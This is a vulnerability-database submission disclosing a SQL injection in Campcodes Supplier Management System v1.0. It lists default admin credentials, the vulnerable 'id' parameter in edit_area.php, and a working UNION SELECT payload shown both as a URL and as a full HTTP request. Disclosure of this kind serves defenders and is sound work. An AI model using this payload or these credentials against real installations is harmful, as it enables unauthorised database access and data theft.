| Title | Campcodes Supplier Management System v1.0 SQL Injection |
|---|
| Description | # Supplier Management System v1.0 has SQL injection
BUG_AUTHOR: 武汉大学姚炜柏
The password for the backend login account is: admin/admin123
vendors: https://www.campcodes.com/projects/php/supplier-management-system-using-php-mysql/
Description of the vulnerability: SQL injection exists in /Supply_Management_System/admin/edit_area.php?id= for Supplier Management System v1.0
Vulnerability File: /Supply_Management_System/admin/edit_area.php?id=
Vulnerability location: /Supply_Management_System/admin/edit_area.php, id
Current database name: sourcecodester_scm_new
[+] Payload: /Supply_Management_System/admin/edit_area.php?id=-1%27%20union%20select%201,database(),3--+ // Leak place ---> id
```sql
GET /Supply_Management_System/admin/edit_area.php?id=-1%27%20union%20select%201,database(),3--+ HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=krbgs900f1q659nctcebpvlsa8
Connection: close
``` |
|---|
| Source | ⚠️ https://github.com/yooo0oo0/cve_report/blob/main/supplier-management-system/SQLi-2.md |
|---|
| User | wbYao (ID 70284) |
|---|
| Submission | 08/30/2024 03:08 AM (1 month ago) |
|---|
| Moderation | 08/30/2024 09:55 AM (7 hours later) |
|---|
| Status | Accepted |
|---|
| VulDB Entry | 276223 |
|---|
| Points | 20 |
|---|